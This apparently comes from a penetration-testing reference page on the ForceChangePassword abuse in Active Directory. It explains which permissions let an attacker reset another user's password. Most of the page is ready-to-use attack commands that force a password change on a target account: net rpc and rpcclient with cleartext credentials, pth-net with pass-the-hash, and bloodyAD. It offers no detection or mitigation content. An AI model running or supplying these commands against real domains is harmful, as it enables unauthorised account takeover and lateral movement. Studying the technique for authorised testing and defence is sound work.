ForceChangePassword

This abuse can be carried out when controlling an object that has a GenericAll, AllExtendedRights or User-Force-Change-Password over the target user.

It can also be achieved from UNIX-like system with net, a tool for the administration of samba and cifs/smb clients. The pth-toolkit can also be used to run net commands with pass-the-hash.

bash
# With net and cleartext credentials (will be prompted)
net rpc password "$TargetUser" -U "$DOMAIN"/"$USER" -S "$DC_HOST"

# With net and cleartext credentials
net rpc password "$TargetUser" -U "$DOMAIN"/"$USER"%"$PASSWORD" -S "$DC_HOST"

# With Pass-the-Hash
pth-net rpc password "$TargetUser" -U "$DOMAIN"/"$USER"%"ffffffffffffffffffffffffffffffff":"$NT_HASH" -S "$DC_HOST"

The rpcclient can also be used on UNIX-like systems when the package samba-common-bin is missing.

bash
rpcclient -U $DOMAIN/$ControlledUser $DomainController
rpcclient $> setuserinfo2 $TargetUser 23 $NewPassword

Alternatively, it can be achieved using bloodyAD

bash
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" set password "$TargetUser" "$NewPassword"
